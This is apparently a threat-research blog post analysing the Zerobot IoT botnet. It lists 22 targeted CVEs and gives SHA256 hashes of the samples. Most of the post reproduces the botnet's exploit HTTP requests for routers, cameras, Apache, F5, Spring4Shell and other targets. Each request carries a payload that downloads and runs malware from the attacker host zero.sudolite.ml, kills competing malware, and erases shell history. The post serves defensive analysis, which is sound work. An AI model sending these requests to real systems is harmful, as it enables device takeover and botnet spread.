The Zerobot Botnet: Vulnerabilities Targeted and Exploits Used in Detail

Posted on January 3, 2023August 27, 2023•21 min read

At the end of November, CUJO AI Labs reported a new botnet written in Golang – now called Zerobot – which contained 21 exploits for various vulnerabilities, including Spring4Shell.

New #IoT #botnet called #Zero written in #Go
Targets 21 exploits, including #Spring4Shell
Downloader: hxxp://176.65.137[.]5/zero.sh
URL: hxxp://zero.sudolite[.]ml/bins/zero.[mips64,ppc64,mipsle,arm64,riscv64]https://t.co/4GB5YTqV2V
/cc @malwrhunterteam @vxunderground pic.twitter.com/KaQCs6iTwj

— CUJO AI Labs (@CujoaiLabs) November 25, 2022

In this article, we will focus on the exploits in detail, providing HTTP requests and/or code extracted from the binaries for all targeted vulnerabilities. Since some Go methods in the malware binaries target several vulnerabilities, the actual number of exploits is 22, not 21. The Zerobot samples we analyzed were observed in our customers’ networks between November 24^th and 26^th, and the malware has been evolving since then.

List of Exploited Vulnerabilities

A list of all exploited vulnerabilities found in Zerobot binaries is shown in the table below. The Vulnerability Type column is based on the Common Weakness Enumeration (CWE) list. We are also listing the affected device or software types with specific model or version names.

CVE	Vulnerability name	Vulnerability type (CWE)	Affected device/software type
CVE-2014-8361	Realtek SDK – Miniigd UPnP SOAP Command Execution	Improper Input Validation	Software (Realtek SDK), Router (D-Link)
CVE-2016-20017	D-Link DSL-2750B Remote Command Execution	Command Injection	Router (D-Link)
CVE-2017-17215	Huawei HG532 Remote Command Execution	Improper Input Validation	Router (Huawei HG532)
CVE-2018-10561/10562	Dasan GPON Routers Authentication Bypass and Command Injection vulnerabilities	Improper Authentication and Command Injection	Router (Dasan GPON)
–	Sapido RB-1732 Remote Command Execution	Command Injection	Router (Sapido RB-1732)
CVE-2020-10987	Tenda setUsbUnload Remote Command Execution via deviceName parameter	Command Injection	Router (Tenda AC15 AC1900)
CVE-2020-25506	D-Link system_mgr.cgi Remote Command Execution	Command Injection	Router (D-Link DNS-320)
CVE-2020-7209	LinuxKI Remote Command Execution	Command Injection	Software (LinuxKI)
–	PHP 8.1.0-dev Backdoor Remote Command Execution	Command Injection	Software (PHP 8.1.0-dev)
CVE-2021-35395	Realtek AP-Router SDK Vulnerability	Command Injection and Out-of-bounds Write	Software (Realtek Jungle SDK)
CVE-2021-36260	Hikvision webserver Command Injection	Command Injection	IP camera (Hikvision)
CVE-2021-41773	Apache webserver Path Traversal	Path Traversal	Software (Apache HTTP server)
CVE-2021-42013	Apache webserver Path Traversal No.2	Path Traversal	Software (Apache HTTP server)
CVE-2021-46422	Telesquare Command Injection	Command Injection	Router (Telesquare SDT-CW3B1)
CVE-2022-1388	F5 BIG-IP Authentication Bypass	Missing Authentication for Critical Function	Firewall (F5 BIG-IP)
CVE-2022-22965	Spring4Shell Command Injection	Command Injection	Software (Spring MVC/Spring WebFlux)
CVE-2022-25075	Totolink downloadFlile.cgi Command Injection via payload parameter	Command Injection	Router (Totolink A3000RU)
CVE-2022-26186	Totolink cstecgi.cgi Command Injection via exportOvpn interface	Command Injection	Router (Totolink N600R)
CVE-2022-26210	Totolink setUpgradeFW Command Injection via FileName parameter	Command Injection	Router (Totolink A830R)
CVE-2022-30525	Zyxel firewall Command Injection	Command Injection	Firewall (Zyxel USG FLEX-series)
CVE-2022-34538	Digital Watchdog Command Injection	Command Injection	IP camera (Digital Watchdog DW MEGApix)
CVE-2022-37061	FLIR Remote Command Execution	Command Injection	Thermal sensor camera (FLIR AX8)

Here you can see the distribution of the publishing year of the vulnerabilities:

Zerobot vulnerability exploits used in November. Out of 22 exploits, 8 were published in 2022, 6 in 2021, 4 in 2020. The botnet also used one exploit from 2014, 2016, 2017 and 2018 each. — CUJO AI Labs data.

Most of the vulnerabilities targeted were disclosed in the past 3 years, which is uniquely recent, considering that the average IoT botnets are Mirai and Gafgyt variants and mostly target older vulnerabilities. You can find more information about this in our last year’s IoT botnet report. Furthermore, this is the first time that 5 out of the 22 exploits are seen in an IoT botnet. These are marked bold in the list above.

Here you can see the distribution of the vulnerability types based on the CWE list:

Zerobot exploits mostly targeted command injection vulnerabilities in November. 16 exploits targeted command injection, 2 each targeted path traversal and improper input validation, one each targeted missing authentication for critical functions, out of bouds write and improper authentication and command injection. — CUJO AI Labs data.

This is less surprising, since IoT botnets mostly target Command Injection-type vulnerabilities.

In this article, we will present these requests extracted from the binaries with the exploit code.

We observed two versions of the exploit code:

the first version downloads Zerobot binaries with specific architecture types, which go in the ‘%s’ part -,
the second version only fetches the Zerobot downloader script (zero.sh).

In general, the exploit codes are more advanced, they utilize various commands to download the desired file, kill other malware that may be present on the infected system such as Mozi, Kaiten and Sora, and attempt to clean up after themselves by issuing the ‘history -c’ command and deleting the bash_history file. The exploit codes have also been evolving, as you can see below.

First Version

wget http://zero.sudolite.ml/bins/zero.%s || curl -o http://zero.sudolite.ml/bins/zero.%s || curl -O http://zero.sudolite.ml/bins/zero.%s; history -c; rm ~/.bash_history; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; chmod 755 zero.%s; ./zero.%s

and

wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh

Second Version

wget http://zero.sudolite.ml/bins/zero.%s || /bin/busybox wget http://zero.sudolite.ml/bins/zero.%s || curl -O http://zero.sudolite.ml/bins/zero.%s || tftp 176.65.137.5 -c get zero.%s || ftpget -v -u anonymous -P 21 176.65.137.5 zero.%s zero.%s; killall i .i mozi.m Mozi.m mozi.a Mozi.a sora phantom zero kaiten Nbrute minerd /bin/busybox || pkill -9 -f i .i mozi.m Mozi.m mozi.a Mozi.a sora phantom zero kaiten Nbrute minerd /bin/busybox; chmod 777 zero.%s; ./zero.%s -p=%s || /zero.%s -p=%s || zero.%s -p=%s || /bin/busybox zero.%s -p=%s; history -c; rm ~/.bash_history

and

wget http://zero.sudolite.ml/zero.sh || /bin/busybox wget http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh || tftp 176.65.137.5 -c get zero.sh || ftpget -v -u anonymous -P 21 176.65.137.5 zero.sh zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a sora phantom zero kaiten Nbrute minerd /bin/busybox || pkill -9 -f i .i mozi.m Mozi.m mozi.a Mozi.a sora phantom zero kaiten Nbrute minerd /bin/busybox; chmod 777 zero.sh; bash zero.sh %s &

The HTTP Requests Used by the Exploits

The exploit codes use proper URL encoding where needed, we excluded it for better readability.

CVE-2014-8361

The XML payload’s syntax is incorrect in two places, which are marked in green. This exploit is not functional.

POST /picsdesc.xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping

<?xml version=”1.0″ ?><s:Envelope xmlns_s=”http://schemas.xmlsoap.org/soap/envelope/” s_encodingStyle=”<http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:AddPortMapping> xmlns_u=”urn:schemas-upnp-org:service:WANIPConnection:1″><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`wget http://zero.sudolite.ml/bins/zero.%s || curl -o http://zero.sudolite.ml/bins/zero.%s || curl -O http://zero.sudolite.ml/bins/zero.%s; history -c; rm ~/.bash_history; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; chmod 755 zero.%s; ./zero.%s`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

CVE-2016-20017

In the malware binary, the respective Go method is called DLINK.

GET /login.cgi?cli=aa%20aa%27;wget http://zero.sudolite.ml/bins/zero.%s || curl -o http://zero.sudolite.ml/bins/zero.%s || curl -O http://zero.sudolite.ml/bins/zero.%s; history -c; rm ~/.bash_history; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; chmod 755 zero.%s; ./zero.%s%27$
User-Agent: Hakai/2.0
Accept: */*
Connection: keep-alive

CVE-2017-17215

The XML payload’s syntax is incorrect in two places, making it not functional:

Missing closing ‘>’ after encodingStyle value, before the <s:Body> tag
And ‘>’ after u:upgrade, before xmlns:u

POST /ctrlt/DeviceUpgrade_1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Authorization: Digest username=”dslf-config”, realm=”HuaweiHomeGateway”, nonce=”88645cefb1f9ede0e336e3569d75ee30″, uri=”/ctrlt/DeviceUpgrade_1″, response=”3612f843a42db38f48f59d2a3597e19c”, algorithm=”MD5″, qop=”auth”, nc=00000001, cnonce=”248d1a2560100669″

<?xml version=”1.0″ ?><s:Envelope xmlns_s=”http://schemas.xmlsoap.org/soap/envelope/” s_encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”<s:Body><u:Upgrade> xmlns_u=”urn:schemas-upnp-org:service:WANPPPConnection:1″><NewStatusURL>$(/bin/busybox wget http://zero.sudolite.ml/bins/zero.%s || curl -o http://zero.sudolite.ml/bins/zero.%s || curl -O http://zero.sudolite.ml/bins/zero.%s; history -c; rm ~/.bash_history; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; chmod 755 zero.%s; ./zero.%s)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

CVE-2018-10561/10562

Inside the malware binary, the respective Go method is called GPON.

POST /GponForm/diag_Form?images
User-Agent: Hello, World
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: close

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`wget http://zero.sudolite.ml/bins/zero.%s || curl -o http://zero.sudolite.ml/bins/zero.%s || curl -O http://zero.sudolite.ml/bins/zero.%s; history -c; rm ~/.bash_history; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; chmod 755 zero.%s; ./zero.%s`&ipv=0

Sapido RB-1732 Remote Command Execution

In the malware binary, it is called ZERO-32906. This number is also used as an ID by the 0day.today website.

POST /goform/formSysCmd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: close

sysCmd=wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh&apply=Apply&submit-url=/syscmd.asp&msg=</>

CVE-2020-10987

GET /goform/setUsbUnload/.js?deviceName=A;wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Connection: close

CVE-2020-25506

POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=
`wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh`
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

CVE-2020-7209

This Go method is called CVE-2017-17106 in the malware binary, which is a completely different vulnerability and is not exploited by Zerobot.

GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=15;echo BEGIN;wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh;echo END;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Connection: close

PHP 8.1.0-dev Backdoor Remote Command Execution

In the malware binary, it is called ZERO-36290, which is also used as an ID by 0day.today website.

GET /
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: zerodiumsystem(“wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh“);

It seems that the normal User-Agent header has the exploit code, not the “User-Agentt”, which is needed by the exploit. The payload also includes the form-data shown below, which is not needed for this exploit. It is from the Sapido RB-1732 Remote Command Execution exploit.

CVE-2021-35395

POST /goform/formWsc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: close

submit-url=%2Fwlwps.asp&resetUnCfg=0&peerPin=12345678;wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=

CVE-2021-36260

POST /SDK/webLanguage
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: text/xml
Connection: close

<xml><language>$(“wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh“)</language></xml>

CVE-2021-41773 and CVE-2021-42013

These two exploits are contained in the same Go method inside the malware binary called CVE-2018-12613, which is a completely different vulnerability not exploited by Zerobot.

We kindly ask the botnet authors to double-check their method names before releasing malware in the future.

The exploit code below is used with base64 encoding.

For CVE-2021-41773

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash

For CVE-2021-42013

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: close

echo; echo d2dldCBodHRwOi8vemVyby5zdWRvbGl0ZS5tbC96ZXJvLnNoIHx8IGN1cmwgLW8gaHR0cDovL3plcm8uc3Vkb2xpdGUubWwvemVyby5zaCB8fCBjdXJsIC1PIGh0dHA6Ly96ZXJvLnN1ZG9saXRlLm1sL3plcm8uc2g7IGtpbGxhbGwgaSAuaSBtb3ppLm0gTW96aS5tIG1vemkuYSBNb3ppLmEga2FpdGVuIE5icnV0ZSBtaW5lcmQgL2Jpbi9idXN5Ym94OyBoaXN0b3J5IC1jOyBybSB+Ly5iYXNoX2hpc3Rvcnk7IGNobW9kIDc1NSB6ZXJvLnNoOyAvYmluL2Jhc2ggemVyby5zaA== | base64 -d | bash

CVE-2021-46422

GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Connection: close

CVE-2022-1388

Rickrolls the analyst with the value of the X-F5-Auth-Token.

POST /mgmt/tm/util/bash
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Connection: keep-alive, X-F5-Auth-Token
Authorization: Basic YWRtaW46
X-F5-Auth-Token: NeverGonnaGiveYouUpNeverGonnaLetYouDownNeverGonnaRunAroundAndDesertYou

And the JSON encoded data of:

“command”: “run”,
“utilCmdArgs”: “-c ‘wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh‘”

CVE-2022-22965
First request:

POST /stupidRumor_war/index
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Second request:

GET /stupidRumor_war/tomcatwar.jsp?pwd=j&cmd=wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Connection: keep-alive

CVE-2022-25075

GET /cgi-bin/downloadFlile.cgi?payload=`wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh`
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Connection: keep-alive
Cache-Control: max-age=0

CVE-2022-26186

POST /cgi-bin/cstecgi.cgi?exportOvpn=&type=user&comand=;wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh;&filetype=sh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: close
Cookie: SESSION_ID=2:1645507767:2
Upgrade-Insecure-Requests: 1

CVE-2022-26210

POST /cgi-bin/cstecgi.cgi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Connection: close
X-Requested-With: XMLHttpRequest
Cookie: SESSION_ID=2:1645507767:2

And the JSON encoded data of:

“topicurl”: “setting/setUpgradeFW”,
“Flags”: “1”,
“ContentLength”: “1”,
“FileName”: “;wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh“

CVE-2022-30525

Publicly available exploits contain a semicolon (‘;’) at the beginning and end of the exploit code, which are missing here.

POST /ztp/cgi-bin/handler
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Connection: close

And the JSON encoded data of:

“command”: “setWanPortSt”,
“proto”: “dhcp”,
“port”: “4”,
“vlan_tagged”: “1”,
“vlanid”: “5”,
“data”: “dota?”,
“mtu”: “wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh“

CVE-2022-34538

GET /cgi-bin/admin/vca/bia/addacph.cgi?mod&event=a&id=1&pluginname=;wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh;&name=a&evt_id=a
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Connection: close

CVE-2022-37061

Uses a random alarm ID, which goes into %d.

POST /res.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close

action=alarm&id=%d;wget http://zero.sudolite.ml/zero.sh || curl -o http://zero.sudolite.ml/zero.sh || curl -O http://zero.sudolite.ml/zero.sh; killall i .i mozi.m Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755 zero.sh; /bin/bash zero.sh

Hashes

	SHA256	Architecture
1	447f9ed6698f46d55d4671a30cf42303e0bd63fe8d09d14c730c5627f173174d	i386
2	0d9a5dbb7f37d356be93f14353f1a2df2a6c45841d5b11662d4658a827f376c0	i386
3	b1d67f1cff723eda506a0a52102b261769da4eaf0551b10926c7c79a658061fd	amd64
4	34b4e36cba1bf5741220acdad6628207ea7507ed7db8f15a594db0b8ccf0fa78	amd64
5	f0bb312eacde86d533c922b87e47b8536e819d7569baaec82b9a407c68084280	arm
6	197af329a6a673bb09e58a3a2502a3eaf76f41210478a5f55f50ebddb6a84044	arm
7	9c16171d65935817afd6ba7ec85cd0931b4a1c3bafb2d96a897735ab8e80fd45	arm64
8	2460434dabafe5a5dde0cce26b67f0230dbcd0d0ab5fabad1a1dbc289dc6432f	arm64
9	ae143e281c4698e704a42b6ddc98b78b8141ec96875417c87ef105299a3561f3	arm64
10	4a4cb8516629c781d5557177d48172f4a7443ca1f826ea2e1aa6132e738e6db2	mips
11	53decdbbbd7a8b046e8150536e17970b11341425e7b55f2fa4b3f5c1306da7f8	mips
12	17baf745b3f092c647ae09cd99e67e661d91b3a9531701a8b3e6a26eee5e6111	mips
13	5af002f187ec661f5d274149975ddc43c9f20edd6af8e42b6626636549d2b203	mips64
14	2af33e1ff76a30eb83de18758380f113658d298690a436d817bd7e20df52df91	mips64
15	c25378d7a5606c9d09109eba9b1545e89a22edde747dd3eff919c7f6ae0f35b0	mips64
16	7c085185f6754aef7824c201d8443300ff2b104521d82f9a8b8feb5d4c8d3191	mips64le
17	6c284131a2f94659b254ac646050bc9a8104a15c8d5482877d615d874279b822	mipsle
18	6ac49092ee1bdd55ddbf57df829f20aac750597d85b5904bb7bafa5b51fbb44d	mipsle
19	1945d0e2f8dc8dcc2548cc2083fde4bd786db52a5a2d0fc5b5185193066797fd	mipsle
20	74f8a26eb324e65d1b71df9d0ed7b7587e99d85713c9d17c74318966f0bead0a	ppc64
21	8176991f355db10b32b7562d1d4f7758a23c7e49ed83984b86930b94ccc46ab3	ppc64
22	c4eaea824c263a8b2c14ca78f4aea213ff53987ec2bdd8568024e22cbf8399d4	ppc64
23	6c59af3ed1a616c238ee727f6ed59e962db70bc5a418b20b24909867eb00a9d6	ppc64le
24	b949bffa7d2bf1eaa9ffc2cae88fb31666a21b3b3a8be7ea25e0399c89e7af68	ppc64le
25	bdfd89bdf6bc2de5655c3fe5f6f4435ec4ad37262e3cc72d8cb5204e1273ccd6	riscv64
26	4483c4f07e651ce8218216dd5c655622ff323bf3cdfe405ffeb69eafa75efad5	riscv64
27	ef28ee3301e97eefd2568a3cb4b0f737c5f31983710c75b70d960757f2def74e	s390x
28	918a9f16a35dc58edc288ecad192c1b9e78277ac796b8f3f4ed01bd6d650dd11	s390x

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Cookie	Duration	Description
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